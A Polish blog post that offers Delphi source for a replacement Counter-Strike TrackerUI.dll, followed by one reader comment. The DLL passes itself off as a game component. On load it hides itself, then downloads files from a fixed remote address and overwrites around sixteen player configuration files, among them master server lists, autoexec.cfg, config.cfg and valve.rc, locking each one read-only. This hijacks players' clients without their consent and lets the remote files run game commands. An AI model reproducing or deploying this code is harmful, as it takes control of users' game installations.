TrackerUI.dll – Delphi

Wiele osób tego szukało.

Jest to prosty TrackerUI.DLL napisany w delphi z podstawową funkcjonalnością tzn. podmiana i zabezpieczanie plików związanych z masterserverem.

library TrackerUI;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  IdHTTP,
  Classes;

{$R *.res}
var
BaseURL: string;
procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream:TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream:=TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
begin
BaseURL := 'http://amxx.pl/master/';
begin

// TrackerUI.DLL set to ReadOnly and Hidden
FileSetAttr('cstrike\bin\TrackerUI.dll', 1 + 2);

FileSetAttr('config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
FileSetAttr('config\masterservers.vdf', 1);

FileSetAttr('config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
FileSetAttr('config\rev_masterservers.vdf', 1);

FileSetAttr('platform\config\masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
FileSetAttr('platform\config\masterservers.vdf', 1);

FileSetAttr('platform\config\rev_masterservers.vdf', 128);
DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
FileSetAttr('platform\config\rev_masterservers.vdf', 1);

FileSetAttr('cstrike\autoconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
FileSetAttr('cstrike\autoconfig.cfg', 1);

FileSetAttr('cstrike\autoexec.cfg', 128);
DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
FileSetAttr('cstrike\autoexec.cfg', 1);

FileSetAttr('cstrike\joystick.cfg', 128);
DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
FileSetAttr('cstrike\joystick.cfg', 1);

FileSetAttr('cstrike\language.cfg', 128);
DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
FileSetAttr('cstrike\language.cfg', 1);

FileSetAttr('cstrike\userconfig.cfg', 128);
DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
FileSetAttr('cstrike\userconfig.cfg', 1);

FileSetAttr('cstrike\violence.cfg', 128);
DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
FileSetAttr('cstrike\violence.cfg', 1);

FileSetAttr('cstrike\resource\gamemenu.res', 128);
DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
FileSetAttr('cstrike\resource\gamemenu.res', 1);

FileSetAttr('cstrike\config.cfg', 128);
DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
FileSetAttr('cstrike\config.cfg', 1);

FileSetAttr('cstrike\commandmenu.txt', 128);
DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
FileSetAttr('cstrike\commandmenu.txt', 1);

FileSetAttr('cstrike\server.cfg', 128);
DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
FileSetAttr('cstrike\server.cfg', 1);

FileSetAttr('cstrike\listenserver.cfg', 128);
DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
FileSetAttr('cstrike\listenserver.cfg', 1);

FileSetAttr('cstrike\valve.rc', 128);
DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
FileSetAttr('cstrike\valve.rc', 1);

end;
end.

3 komentarzy o “TrackerUI.dll – Delphi

  1. W pierwszej ddlce cssetti był dostęp do edytowania adresu pobierania używając notepad++ :). Dodam że ten kod jest dostępny w sieci na ruskich?/portugalskich? stronach.

Dodaj komentarz